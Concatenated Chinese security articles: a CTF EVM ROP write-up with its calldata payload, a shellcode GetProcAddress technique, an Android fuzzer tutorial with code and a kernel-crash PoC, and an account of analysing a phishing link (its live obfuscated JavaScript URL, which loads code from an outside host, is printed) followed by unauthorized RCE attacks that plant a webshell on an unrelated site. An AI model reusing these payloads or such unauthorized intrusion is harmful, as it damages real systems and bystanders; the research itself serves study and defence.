尝试调用修改后的合约，在通过了 `loose()` 的校验后，我们发现由于栈空间不够长的原因，`SWAP6` 找不到对应的元素，合约依旧会执行失败：
因此我们需要继续修改，可以看到 `loose()` 函数中的两处比较的 PUSH 指令均可以修改，而且修改完后的效果非常令人惊喜，均带有跳转到不同位置的
`JUMP` 指令，而且对应位置的指令恰好是 `JUMPDEST`，很难不怀疑这里是出题人特意为我们构造好的指令。
修改之后继续调试，发现此时调用 `harsh(0x00, "syang solve")` 会在如下图所示的 JUMP 处停止，原因是栈上的地址不对，EVM
会由于跳到错误的地址而 revert，所以下一步的目标就是思考如何在栈上放入一个我们想要的跳转地址，结合之前的修改，我们需要跳到的位置应该是
0x373，恰好是离 `SWAP6` 指令最近的一个 `JUMPDEST`。
......
[751] JUMPDEST
[752] CREATE
[753] DUP3
[756] PUSH2 0xe2eb
[757] SWAP1
[758] POP
[759] POP
[762] PUSH2 0x0312
[763] JUMP
......
[786] JUMPDEST
[788] PUSH1 0x00
[791] PUSH2 0x4321
[792] CALLDATASIZE
[793] DUP3
[794] DUP3
[795] CALLDATACOPY
[797] PUSH1 0x84
[798] DUP2
[799] ADD
[800] MLOAD
[802] PUSH1 0x64
[803] ADD
[804] DUP2
[806] PUSH1 0x80
[807] ADD
[810] PUSH2 0x4385
[811] MLOAD
[814] PUSH2 0x0517
[815] JUMP
......
[1178] JUMPDEST
[1179] POP
[1180] POP
[1181] JUMP
......
[1303] JUMPDEST
[1305] PUSH1 0x02
[1306] JUMPDEST
[1307] DUP1
[1309] PUSH1 0x05
[1310] EQ
[1313] PUSH2 0x049a
[1314] JUMPI
[1315] DUP2
[1316] DUP2
[1318] PUSH1 0x04
[1319] '1b'(Unknown Opcode)
[1320] '1c'(Unknown Opcode)
[1323] PUSH2 0xffff
[1324] AND
[1325] SWAP2
[1326] SWAP1
[1328] PUSH1 0x01
[1329] ADD
[1332] PUSH2 0x051a
[1333] JUMP
......
通过分析代码可以很明显地发现，跳转的地址来自 `CALLDATACOPY` 复制的我们在函数调用时传入的 data，根据循环迭代的次数可以推断哪四位 bit
是真正用于跳转的地址，这里直接传入 seed =
0x404142434445464748494a4b4c4d4e4f505152535455037358595a5b5c5d5e5f，调用，再次发现执行失败，通过调试可以发现本次的失败原因是函数调用完成后需要回到正常的地址，但由于此时的栈顶是
0x43a1，一个在之前执行过程中被压入的值，而且这个值是我们不可控的，所以这种思路同样出现了问题：
暂时的思路出现了问题，这里去参考了 0ops 的解法：tx:
0xa89fdd83493faf35a3970eb6c6c7d787dddf11151887c427361b2a916e8cfcf6@rinkeby
可以看到他们把第三处比较也进行了修改：
修改完后可以看到，不同于上一处 `CALL` 指令，这里的 `CALL` 指令后面跟着的 `JUMP` 指令跳转的地址是通过 `CALLER &
0x07ef` 得到的，而 `CALLER` 是调用者的地址，是我们可控的，只要我们通过爆破得到一个结尾为 01c3 的地址，函数执行完就会跳转到
`[451] JUMPDEST [452] STOP`，顺利结束本次调用。
重新整理一下思路，如果我们希望通过 ROP 调用此处 `CALL` 执行，那么我们需要在栈上依次构造好 `gas addr value argsOffset
argsLength retOffset retLength`，继续研究 bytecode，可以看到下面这一段代码恰好压入了
`GAS`，而且会跳转到栈上的地址：
...
[895] JUMPDEST
[896] SWAP1
[897] DUP1
[898] XOR
[899] SWAP2
[900] GAS
[901] SWAP1
[902] JUMP
...
接下来的任务则是在栈上压入需要调用合约的地址，由于合约的地址存储在 STORAGE 里，所以需要关注 `SLOAD`
指令，发现以下指令恰好满足要求，会向栈上依次压入 `0x00(value)`，`STORAGE[0x00](addr)`，且跳转到的地址同样来自栈上：
...
[1182] JUMPDEST
[1184] PUSH1 0x00
[1185] DUP1
[1186] SWAP1
[1187] SLOAD
[1188] SWAP1
[1191] PUSH2 0x0100
[1192] EXP
[1193] SWAP1
[1194] DIV
[1215] PUSH20 0xffffffffffffffffffffffffffffffffffffffff
[1216] AND
[1217] DUP2
[1218] JUMP
...
再结合我们之前调试过程中看到的 `0x43a1`，可以知道此次调用的 data 从 `MEMORY[0x43a1:]` 开始，而
`MEMORY[0x4321:]` 开始的数据来自我们本次调用传入的 data，因此我们需要在本次调用的第 128 位开始构造出
`solve(string)` 的函数选择器 `76fe1e92`。最后构造出来的 payload 如下，构造好地址满足特定后缀 01c3
的账户，发起交易:
0x4059e88700000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465111168696a6b6c6d6e6f707172737475 // 前面的任意构造，补足长度
049e // 第一次跳转地址，压入 addr 和 value
037f // 第二次跳转地址，压入 gas
0373 // 第三次跳转地址，调用 CALL
76fe1e92 // call 的 data
00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000
调试到这里才发现，最初对 `ISZERO` 到 `SWAP6` 的修改反而是没必要的，只需要改动 6 个 bit，然后构造好传入的 data 实现 EVM
内部的 ROP 即可成功完成本题。不得不说本题非常地有出题人的风格，在第二届 RealWorld Montagy 的考点上结合了第一届 RealWorld
EVM ROP，精心构造出了这样一道题目，TQL。
## 参考
* [Uniswap V2: Everything New with the Decentralised Exchange](https://rossbulat.medium.com/uniswap-v2-everything-new-with-the-decentralised-exchange-52b4bb2093ab)
* [基于UniswapV2闪电贷的OneSwap套利指南](https://juejin.cn/post/6878116429590167565)
* [第三届realworld 区块链wp](https://hitcxy.com/2021/rw2021/)
* [TEA系列算法101](https://www.anquanke.com/post/id/224198)
* [A CRYPTANALYSIS OF THE TINY ENCRYPTION ALGORITHM](https://www.tayloredge.com/reference/Mathematics/VRAndem.pdf) | 社区文章 |
# 【技术分享】Shellcode编程之特征搜索定位GetProcAddress
|
##### 译文声明
本文是翻译文章，文章来源：modexp.wordpress.com
原文地址：<https://modexp.wordpress.com/2017/06/21/shellcode-getprocaddress/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言
**
最近， Alex lonescu表明Windows的发布版本中将包含将增强缓解措施工具包（EMET）编译到内核中。
因为更多的缓解措施出现于MSVC和Windows操作系统中，定位API来利用内存崩溃漏洞变得越来越困难。
我就在想，如果导入地址表和导出地址表都不能访问了，是否有其他的方式来获得GetProcAddress？
下面你看到的就是我几个小时研究的成果，但没有铺开来研究IAT和EAT无法访问时如何获得GetProcAddress。
**0x01 特征检测**
用于检测恶意软件的每种算法可以重新利用来检测包括GetProcAddress在内的任何代码。
恶意代码的检测范围可以从简单的搜索字符串、常量（包括加密）或者代码字节序列到类似仿真和统计分析的高级方式。
通过特征定位GetProcAddress是一种尝试，因为它是唯一的返回错误码STATUS_ORDINAL_NOT_FOUND的函数。
从WindowsNT到Windows10，使用这个常量搜索kernel32.dll或者kernelbase.dll来定位GetProcAddress是很有可能的。
**0x02 搜索算法**
搜索算法的伪代码如下：
理论上很简单，并且对于32位是有效的。
然而，如果对于一些DLL（尤其是64位的版本）中GetProcAddress使用函数块，那么就无效了。
在Windows7中，在kernelbase中定位我们的常量，是在代码块中。
减去0x3FFFFEC8得到0xC0000138。
在Windows10中，常量在相同的GetProcAddress代码中，因此入口通过简单的搜索就能找到。
为了能适应Windows7，我建议使用一个长度反汇编引擎（LDE）来模拟相关的跳转知道你定位到GetProcAddress，但是没有64位版本的LDE能独立的操作内存。也可能不需要？
因为我们搜索kernel32或者kernelbase的节，我们检查下PE节头结构，有个有趣的成员。
**Misc.VirtualSize**
加载到内存的节的大小（字节），如果这个值大于SizeOfRawData，节将被填充0。这个字段只针对可执行映像有效，并且对于obj文件应该置为0.
**VirtualAddress**
加载到内存的节的第一个字节的地址（RVA）。对于obj文件，这是在重定位之前的第一个字节的地址。
**Characteristics**
映像的特征。因为我们搜索可执行代码，我们能测试这个值是否有IMAGE_SCN_CNT_CODE 或 IMAGE_SCN_MEM_EXECUTE。
一旦我们找到一个可执行区域，我们简单的搜索我们的特征，是一个4字节的序列：0x38, 0x01, 0x00, 0xC0。
如果找到了，我们假设我们在GetProcAddress的代码中，因此我们往回扫描内存来找到函数序言0x55, 0x8B, 0xEC（32位）和0x48,
0x89, 0x5C, 0x24, 0x08（64位）。
尽管从XP SP2开始大部分的32位的API在序言前有mov edi,edi以便热补丁，但是我们可以跳过它。
64位上找到入口点的另一种方式是搜索编译器添加的填充（不同的编译器填充不同）。
函数是16字节对齐，会在GetProcAddress前后填充。
在Windows7上，使用0x90，在x86上是NOP指令。
在Windows10中，使用0xCC，是软件中断（INT 3）。
我提到它是因为在不同的搜索算法中这会很有用。
**0x03 C代码**
对于PEB中的每个DLL；
找到kernel32或者kernelbase；
针对这个dll的每个节；
找到特征，并反向扫描函数序言。
**0x04 总结**
对于大部分32位的操作系统，他都能很好的工作，因为STATUS_ORDINAL_NOT_FOUND是在GetProcAddress函数的序言和结语之间的。但是在Windows7
x64上不能起作用，因为常量在外面。
**Windows7 32位（可以）**
第一个地址偏了2字节，但是那是mov edi,edi指令，可以安全跳过
**Windows7 64位（不可以）**
**Windows10 64位（可以）** | 社区文章 |
# 一次黑产链接分析引发的渗透测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 起源
五一在家日常冲浪，无意间看到有人在相亲相爱一家人群里发了一个链接引起了我的注意
点进去一看，是领红包。这不白嫖一波？狗头
他这个这页面做的挺像真的，而且进入到这页面后是无法通过下滑页面来查看对应域名的，
这团伙业务还挺熟练的，年轻人不讲武德。
那么老夫就点击领取看看会怎么样
红包！没错，终于抢到红包了。这页面看着也很真啊。
但是这弟弟提示老夫需要转发到群聊。就这？
钱来的那么容易吗？
看着这里肯定会有人观众要问，这假红包到底有什么用？这就是我转发到群里有什么用？就这？会对我有什么影响吗？
小伙子别慌，听我慢慢道来。
一旦我们进入到这页面后，，如果不直接点击左上角x关闭，每次点返回都会无限跳转到一些低俗文章和一些公众号文章（如下图），从而达到推广目的。而转发这种链接的群体又属于易骗体质，很容易就关注了这类公众号或者就是扫描对应的二维码，最后结果不言而喻。
而且这种链接的封面也利用人的好奇心提升了点击率，一看就是专业钓鱼的年轻人，社工很熟练啊。
## 分析
接下来才是进入了本文的正题，在写本文之前，小弟只是简单的分析了一下，后面在复盘写文章的时候发现链接已经挂了。
由于是复盘，没写的很细，就是一点思路的分享吧。日常渗透。
我们把对应url提取出来（某些黑产会对url进行多次短连接转换），用浏览器访问，然后就跳到了百度。应该是做了ua识别
http://899.m.yxixy.com/rest/lapi/setcoo?url=%20JAVASCRIPT:a%3D%5Cu0061%5Cu0074%5Cu006f%5Cu0062%60ZD1kb2N1bWVudDt3aW5kb3cuc3RvcD93aW5kb3cuc3RvcCgpOmRvY3VtZW50LmV4ZWNDb21tYW5kKCdTdG9wJyk7ZC50aXRsZT0nJztkLmRvY3VtZW50RWxlbWVudC5oaWRkZW49JzEnO2QuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTD1udWxsO2ltcG9ydCgnLy9saWluay5jbi94eCcpOw==%60%3B%5Cu0065%5Cu0076%5Cu0061%5Cu006c%28a%29
接下来我们直接开始分析url吧
先进行url解码
解码后a发现还有Unicode继续解码Unicode
发现了有一段JavaScript，是用atob进行base64解码后赋值给a然后用eval执行代码
我们把这串base64提取出来，解码看一下
可以很明显看到用import进行了导入模块，简单查了一下import的用法，发现是ES6的新功能，可以导入用export输出的模块。
我们继续看一下这个url，访问一下
有经验的东西同学一眼就可以看出这是被加密了，没错，js被加密了。
据我所知一些js加密是可解密还原的，我们可以尝试一下还原。
解密后的结果还是有点一言难尽。但是还好还是有点收获，从里面我注意到了有一个域名。从域名来看，应该就是这段代码所用的加密。
我们试试能不能解开
原来你这b也是sojson旗下的
看了一下发现这加密后是不可逆的，随后打算加客服问一下，最后发现是要收钱，还不便宜，其实有没有源码都无所谓，因为他这js逻辑就很简单，随机重定向罢了。
简单分析了一波url，不如我们就来再来一波渗透测试吧
## 反攻
提取目标信息收集一波
先日常信息收集扫一下目录和端口吧。
目录如下
BBApp，没什么卵用
ad，一些初始化操作，init方法可以获取到发送到微信的url
b,这应该就是前面被加密的源码，里面的几个.html?=都是跳转到各种推广文章
发现一个比较有趣的点是，这b居然把微信举报页面也做了一个，让大家用他的举报，误以为已经举报过了。
真的好骚，怎样可以增加链接存活时间。学到了，好骚的思路
里面包含其他页面都是一些广告软文，没什么好看
我们继续看一下目标开发端口
999端口也开了web，扫了一下目录没什么发现。
9995 端口是宝塔的登录，没什么好搞的
fofa搜一波旁站，无收获
撒旦搜一波，无收获
钟馗搜一波。惊xi，有两个站，以前小瞧钟馗了
其中一个凉了
另一个是xxxxPHP，感觉有戏，看着有点像tp的风格，不管先扫一波目录
扫完目录如下
直接访问一波，看看这报500的页面是什么
好小子，这不得写个y4er.php上去？狗头
随后就是拿着y4的payload疯狂乱怼，此处省略一个小时，由于是复盘，没有太多细节。
无论用什么payload，怼过去都是直接反回404.
明明在版本内却拿不下？凉了？
要换做别的大佬早就一个payload早就进去了，是我太菜了，还是运气不太行啊
于是乎不信邪，明明在版本内打不进去？你行吗我不信
直接google搞个同站来试试，请勿模仿，如果有源码建议本地自己搭建一个，不要乱来。
简单看了一下第一个应该是源码，先不管，不会php代码审计，放一下。
进去第二个，完美一模一样
再次开始疯狂丢payload，试试怎么，此处省略半个小时，测试细节。
最后成了，payload有用啊，phpinfo直接就出来
mdfk 写个shell试试，毫不含糊，直接成功
在写shell耗费了一点时间，明明是5.09却用了5.22的payload进去了。估计是由于二开的原因吧
上蚁剑，直接连
误伤了。赶快掉头回去，这个站先放了
赶快把payload拿回去试试，心想这次应该稳了吧。
没错还是404，心寒，应该是打过补丁了，或者就是把一些关键文件删除了。cao
那就继续查看别的扫出来的目录
Md 一个小说站，最后翻了好久没什么功能点。就打算先放一下继续信息收集。
要是会代码php代码审计估计已经进去了，菜是原罪啊
## 惊喜
由于注意到之前扒出来的是个cn域名，那就继续查一波whois吧，
是个人搭建的，继续反查下域名
又来了四个域名，未完待续。。
后面主要思路是：
* 审计一下另一个站的源码，看看有没有突破口
* 继续跟下这剩下的几个域名 | 社区文章 |
原文：<https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html>
译者注：原作者的文风比较活泼，所以，上车前，请各位做好相应的心理准备。
**免责声明**
* * *
请读者注意，这里讨论的安全问题并不是通用的Android漏洞，而是只影响某种型号的设备，所以，这些漏洞的危害程度都是有限的。另外，本文旨在为读者介绍如何亲自编写一个简陋的Android
fuzzer，然后设法加以改进，而不是为了严肃地讨论Android的安全性问题。
**代码下载地址**
* * *
[Slime Tree Repo ](https://github.com/gamozolabs/slime_tree "Slime Tree Repo
")
**简介**
* * *
在本文中，我们首先会动手打造一款简陋的Android fuzzer，然后进行改进，从而享受不断进步的喜悦之情。
在进行Android设备模糊测试时，我们需要做的第一件事就是获取手机上的设备列表，从而找出可以访问的设备。这很简单，对吧？为此，我们可以进入/dev目录，并运行ls
-l命令，然后，从中查找所有用户都具有读或写权限的设备即可。嗯...对于selinux，情况并非如此，因为它还要求我们对selinux的策略有所了解才行。
为了解决这个问题，让我们先从最简单的地方下手：编写一个程序，只要求它能够在要挖掘漏洞的上下文中运行即可。该程序的功能非常简单，列出手机上的所有文件，并尝试打开它们，以进行读写操作。这样，我们就能得到一个列表，其中包含了我们在手机上有权打开的所有文件/设备。在本文中，我们将使用adb
shell，因此，我们是在`u:r:shell:s0`上下文中运行。
**遍历所有文件**
* * *
好吧，我想要快速遍历手机上的所有文件，并判断自己是否对其具有读写权限。这件事情并不太难，完全可以通过Rust来实现。
/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
// List the directory
let list = std::fs::read_dir(dir);
if let Ok(list) = list {
// Go through each entry in the directory, if we were able to list the
// directory safely
for entry in list {
if let Ok(entry) = entry {
// Get the path representing the directory entry
let path = entry.path();
// Get the metadata and discard errors
if let Ok(metadata) = path.symlink_metadata() {
// Skip this file if it's a symlink
if metadata.file_type().is_symlink() {
continue;
}
// Recurse if this is a directory
if metadata.file_type().is_dir() {
listdirs(&path, output_list);
}
// Add this to the directory listing if it's a file
if metadata.file_type().is_file() {
let can_read =
OpenOptions::new().read(true).open(&path).is_ok();
let can_write =
OpenOptions::new().write(true).open(&path).is_ok();
output_list.push((path, can_read, can_write));
}
}
}
}
}
}
对吧，这的确很简单。为了得到手机中完整的目录列表，我们可以借助下列代码:
// List all files on the system
let mut dirlisting = Vec::new();
listdirs(Path::new("/"), &mut dirlisting);
**模糊测试**
* * *
现在，我们已经能够获得包含所有文件的列表了。接下来，我们就可以通过手动方式来考察列表，并进行相应的源代码审核了。这种方法当然可以挖掘出手机中的安全漏洞，但问题是，我们能否让这个过程实现自动化呢？
如果我们想要直接对文件进行读写尝试的话，该怎么办呢？由于我们这些文件一无所知，所以，我们不妨直接写入一些合理大小的随机数据。
// List all files on the system
let mut listing = Vec::new();
listdirs(Path::new("/"), &mut listing);
// Fuzz buffer
let mut buf = [0x41u8; 8192];
// Fuzz forever
loop {
// Pick a random file
let rand_file = rand::random::<usize>() % listing.len();
let (path, can_read, can_write) = &listing[rand_file];
print!("{:?}\n", path);
if *can_read {
// Fuzz by reading
let fd = OpenOptions::new().read(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.read(&mut buf[..fuzz_size]);
}
}
if *can_write {
// Fuzz by writing
let fd = OpenOptions::new().write(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.write(&buf[..fuzz_size]);
}
}
}
当运行上述代码时，它几乎会立即停止，并且通常是“挂在”/sys/kernel/debug/tracing/per_cpu/cpu1/trace_pipe之类的东西上。一般情况下，手机上会有许多sysfs和procfs文件，当代码试图读取它们时，就会被永远挂起。由于这会阻止“fuzzer”继续运行，所以，我们需要设法绕过这个障碍。
但是，如果我们有128个线程的话，结果会如何呢？当然，某些线程肯定会被挂起，但是，至少有些线程还能多坚持一会，对吧？以下是完整的程序:
extern crate rand;
use std::sync::Arc;
use std::fs::OpenOptions;
use std::io::{Read, Write};
use std::path::{Path, PathBuf};
/// Maximum number of threads to fuzz with
const MAX_THREADS: u32 = 128;
/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
// List the directory
let list = std::fs::read_dir(dir);
if let Ok(list) = list {
// Go through each entry in the directory, if we were able to list the
// directory safely
for entry in list {
if let Ok(entry) = entry {
// Get the path representing the directory entry
let path = entry.path();
// Get the metadata and discard errors
if let Ok(metadata) = path.symlink_metadata() {
// Skip this file if it's a symlink
if metadata.file_type().is_symlink() {
continue;
}
// Recurse if this is a directory
if metadata.file_type().is_dir() {
listdirs(&path, output_list);
}
// Add this to the directory listing if it's a file
if metadata.file_type().is_file() {
let can_read =
OpenOptions::new().read(true).open(&path).is_ok();
let can_write =
OpenOptions::new().write(true).open(&path).is_ok();
output_list.push((path, can_read, can_write));
}
}
}
}
}
}
/// Fuzz thread worker
fn worker(listing: Arc<Vec<(PathBuf, bool, bool)>>) {
// Fuzz buffer
let mut buf = [0x41u8; 8192];
// Fuzz forever
loop {
let rand_file = rand::random::<usize>() % listing.len();
let (path, can_read, can_write) = &listing[rand_file];
//print!("{:?}\n", path);
if *can_read {
// Fuzz by reading
let fd = OpenOptions::new().read(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.read(&mut buf[..fuzz_size]);
}
}
if *can_write {
// Fuzz by writing
let fd = OpenOptions::new().write(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.write(&buf[..fuzz_size]);
}
}
}
}
fn main() {
// Optionally daemonize so we can swap from an ADB USB cable to a UART
// cable and let this continue to run
//daemonize();
// List all files on the system
let mut dirlisting = Vec::new();
listdirs(Path::new("/"), &mut dirlisting);
print!("Created listing of {} files\n", dirlisting.len());
// We wouldn't do anything without any files
assert!(dirlisting.len() > 0, "Directory listing was empty");
// Wrap it in an `Arc`
let dirlisting = Arc::new(dirlisting);
// Spawn fuzz threads
let mut threads = Vec::new();
for _ in 0..MAX_THREADS {
// Create a unique arc reference for this thread and spawn the thread
let dirlisting = dirlisting.clone();
threads.push(std::thread::spawn(move || worker(dirlisting)));
}
// Wait for all threads to complete
for thread in threads {
let _ = thread.join();
}
}
extern {
fn daemon(nochdir: i32, noclose: i32) -> i32;
}
pub fn daemonize() {
print!("Daemonizing\n");
unsafe {
daemon(0, 0);
}
// Sleep to allow a physical cable swap
std::thread::sleep(std::time::Duration::from_secs(10));
}
对于上述代码，它们会遍历手机内所有目录，从而得到一个完整的目录列表，然后启动MAX_THREADS个线程，这些线程将不断地随机选择要读写的文件。
好了，现在我们已经打造了一款“世界级”的Android内核fuzzer，接下来，看看能否用它找到一些0-day漏洞!
首先，让我们在三星Galaxy S8
(G950FXXU4CRI5)上运行这个程序，然后，从手机中读取/proc/last_kmsg文件，看看我们是如何让它崩溃的:
Unable to handle kernel paging request at virtual address 00662625
sec_debug_set_extra_info_fault = KERN / 0x662625
pgd = ffffffc0305b1000
[00662625] *pgd=00000000b05b7003, *pud=00000000b05b7003, *pmd=0000000000000000
Internal error: Oops: 96000006 [#1] PREEMPT SMP
exynos-snapshot: exynos_ss_get_reason 0x0 (CPU:1)
exynos-snapshot: core register saved(CPU:1)
CPUMERRSR: 0000000002180488, L2MERRSR: 0000000012240160
exynos-snapshot: context saved(CPU:1)
exynos-snapshot: item - log_kevents is disabled
TIF_FOREIGN_FPSTATE: 0, FP/SIMD depth 0, cpu: 0
CPU: 1 MPIDR: 80000101 PID: 3944 Comm: Binder:3781_3 Tainted: G W 4.4.111-14315050-QB19732135 #1
Hardware name: Samsung DREAMLTE EUR rev06 board based on EXYNOS8895 (DT)
task: ffffffc863c00000 task.stack: ffffffc863938000
PC is at kmem_cache_alloc_trace+0xac/0x210
LR is at binder_alloc_new_buf_locked+0x30c/0x4a0
pc : [<ffffff800826f254>] lr : [<ffffff80089e2e50>] pstate: 60000145
sp : ffffffc86393b960
[<ffffff800826f254>] kmem_cache_alloc_trace+0xac/0x210
[<ffffff80089e2e50>] binder_alloc_new_buf_locked+0x30c/0x4a0
[<ffffff80089e3020>] binder_alloc_new_buf+0x3c/0x5c
[<ffffff80089deb18>] binder_transaction+0x7f8/0x1d30
[<ffffff80089e0938>] binder_thread_write+0x8e8/0x10d4
[<ffffff80089e11e0>] binder_ioctl_write_read+0xbc/0x2ec
[<ffffff80089e15dc>] binder_ioctl+0x1cc/0x618
[<ffffff800828b844>] do_vfs_ioctl+0x58c/0x668
[<ffffff800828b980>] SyS_ioctl+0x60/0x8c
[<ffffff800815108c>] __sys_trace_return+0x0/0x4
太棒了，竟然解除了对地址00662625的引用，这可是我最喜欢的内核地址！看起来，这里的崩溃是某种形式的堆损坏所致。我们大概率能够利用这个漏洞，特别是如果我们能够映射到0x00662625处的好，我们就能够从用户空间来控制内核空间中的对象了。这种特定的bug已经很少见了，不过，大家可以在“耻辱墙”部分找到各种具有针对性的POC。
**“fuzzer”的应用技巧**
* * *
虽然这个fuzzer看起来非常简单，但是掌握下列技巧，对于我们来说还是非常有帮助的。
技巧集：
* 定期重启fuzzer，因为它经常会卡住
* 在手机上做一些随机的事情，比如浏览或使用相机，以触发内核的某些活动
* 关闭应用程序并经常拔掉ADB USB电缆，这可能会导致应用程序突然“挂掉”，从而触发某些漏洞
* 将MAX_THREADS的值从低到高依次调整
* 对于某些文件，如果一旦读取它们就会导致代码永久性挂起的话，则将其添加到相应的黑名单中
使用上面的技巧，我几乎可以让这个fuzzer在我4年中用过的所有手机上正常运行，不过，随着selinux策略规则越来越严格，将来的成功的机会将会越来越少。
**下一款设备**
* * *
好的，上面我们一家尝试了最新的Galaxy S8，接下来，让我们看看这个fuzzer在老款Galaxy
S5（G900FXXU1CRH1）手机上的表现如何。实际上，这里会崩溃地更快。但是，当我们尝试读取/proc/last_kmsg的时候，我们将发现该文件根本就不存在。为此，我们又在USB上尝试了带有619k电阻器的UART电缆，并对应用程序执行daemonize()，以期观察到崩溃情况。然而，就这里来说，这一招也没有奏效（老实说，不知道为什么，我虽然得到了dmesg输出，但没有找到死机日志）。
好了，现在我们遇到了一个难题，那么，接下来该如何从根本上解决这个问题呢？实际上，我们可以对文件系统进行二分查找，并将某些文件夹列入黑名单，从而进一步缩小搜索范围。废话少说，放手干吧！
首先，让我们只允许使用/sys/*，所有其他文件都将被禁止，因为这些问题根源通常位于sysfs和procfs目录中。为此，我们可以将目录列表调用改为
listdirs(Path::new("/sys"), &mut dirlisting);
哇，真的有效！崩溃得更快了，这次我们将范围限制为/sys。由此可以推断出，问题根源位于/sys中。
现在，我们将深入考察/sys，比如，我们可以先尝试/sys/devices目录……哎，这次的运气不佳。所以，还得继续尝试其他目录，比如/sys/kernel……太好了，这次成功了!
所以，我们可以将范围进一步缩小到/sys/kernel/debug目录，即使如此，这个目录中也还有85个文件夹。这个数量还是不少，所以我才不想手工完成相应的工作呢。所以，能否改进一下我们的fuzzer呢?
**改进fuzzer**
* * *
就目前来说，我们还不知道是操作哪些文件时导致了崩溃。不过，我们可以将其全部输出，然后利用ADB进行检查，但是当手机死机时，无法进行同步……我们需要更好的方法。
也许，我们应该通过网络发送正在进行模糊测试的文件名，然后通过一个服务来确认文件名，这样文件就不会被“触及”了，除非它们已经确认要通过网络进行报告。不过，这会不会太慢呢？这个倒是很难说，不如让我们试一试吧！
首先，使用Rust编写一个简单的服务器，让其在我们的主机上运行，然后通过`adb reverse tcp:13370
tcp:13370`命令，将手机通过ADB
USB连接到这个服务器，这样就会把手机上指向`127.0.0.1:13370`端口的连接转发到运行服务器的主机上，以便记录下相应的文件名。
**设计一个糟糕的协议**
* * *
我们需要一个在TCP上工作的快速协议来发送文件名。为此，这个协议越简单越好：客户端发送文件名，然后服务器以“ACK”进行响应。为了保持简单起见，这里既不考虑线程问题，也不考虑文件被访问后经常出现的堆损坏问题。毕竟我们的要求并不高，只要弄出一个可用的fuzzer就行了，对吧？
use std::net::TcpListener;
use std::io::{Read, Write};
fn main() -> std::io::Result<()> {
let listener = TcpListener::bind("0.0.0.0:13370")?;
let mut buffer = vec![0u8; 64 * 1024];
for stream in listener.incoming() {
print!("Got new connection\n");
let mut stream = stream?;
loop {
if let Ok(bread) = stream.read(&mut buffer) {
// Connection closed, break out
if bread == 0 {
break;
}
// Send acknowledge
stream.write(b"ACK").expect("Failed to send ack");
stream.flush().expect("Failed to flush");
let string = std::str::from_utf8(&buffer[..bread])
.expect("Invalid UTF-8 character in string");
print!("Fuzzing: {}\n", string);
} else {
// Failed to read, break out
break;
}
}
}
Ok(())
}
这个服务器的代码很垃圾，但对于我们来说却刚刚好。无论如何，我们要做的是一个fuzzer，如果所有代码都完美无瑕，我们到哪里去找bug去。
**客户端代码**
* * *
对于手机来说，我们只要在上面实现一个简单的函数即可：
// Connect to the server we report to and pass this along to functions
// threads that need socket access
let stream = Arc::new(Mutex::new(TcpStream::connect("127.0.0.1:13370")
.expect("Failed to open TCP connection")));
fn inform_filename(handle: &Mutex<TcpStream>, filename: &str) {
// Report the filename
let mut socket = handle.lock().expect("Failed to lock mutex");
socket.write_all(filename.as_bytes()).expect("Failed to write");
socket.flush().expect("Failed to flush");
// Wait for an ACK
let mut ack = [0u8; 3];
socket.read_exact(&mut ack).expect("Failed to read ack");
assert!(&ack == b"ACK", "Did not get ACK as expected");
}
**制作黑名单**
* * *
好了，现在我们有了一个日志，其中记录了我们正在模糊的所有文件，并且这些文件得到了服务器的确认，这样我们就不会丢失任何东西了。让我们将它设置为单线程模式，这样做的好处就是，我们再也不用担心竞争条件了。
我们会看到，它经常会因某些文件而“挂掉”，我们可把这些文件记录下来，以此制作黑名单。为此，需要一些“体力劳动”：通常要向这个列表中放入少量（5-10个）文件。一般来说，我会根据文件名的开头部分来制作黑名单，因此可以根据starts_with的匹配结果将整个目录列入黑名单。
**继续进行模糊测试**
* * *
因此，我们可以看到，在崩溃之前接触的最后一个文件是`/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout`。
下面，我们给出一个完全独立的PoC：
use std::fs::File;
use std::io::Read;
fn thrasher() {
// Buffer to read into
let mut buf = [0x41u8; 8192];
let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";
loop {
if let Ok(mut fd) = File::open(fn) {
let _ = fd.read(&mut buf);
}
}
}
fn main() {
// Make fuzzing threads
let mut threads = Vec::new();
for _ in 0..4 {
threads.push(std::thread::spawn(move || thrasher()));
}
// Wait for all threads to exit
for thr in threads {
let _ = thr.join();
}
}
多么棒的PoC啊！
**下一个bug？**
* * *
因此，既然我们已经找到了导致bug的根源，我们就应该将已知会导致bug的特定文件都列入黑名单，然后再试一次。因为这个bug很可能隐藏了另一个。
不，除此之外，已经没有bug了，因为按照官方的说法，S5是非常安全的，已经修复了所有的bug。
**一个时代的终结**
* * *
可悲的是，这个fuzzer即将成为历史。过去，它几乎适用于每部手机，即使手机启用了selinux，它仍然适用。但遗憾的是，随着时间的推移，这些bug已经隐藏到了selinux策略的背后，我们根本无法触及它们。目前，我只能说该fuzzer适用于我手头上的几部手机，而不是所有手机，令人欣慰的是，至少它在过去是行得通的。
这个fuzzer肯定还有很多待改进之处，毕竟本文的目标是打造一款“糟糕”的fuzzer，而不是一个“令人满意”的fuzzer。如果读者精力旺盛的话，可以继续鼓捣，比如：
* 让它随机调用ioctl()
* 尝试使用mmap()并使用这些设备的映射
* 了解文件的真实需求
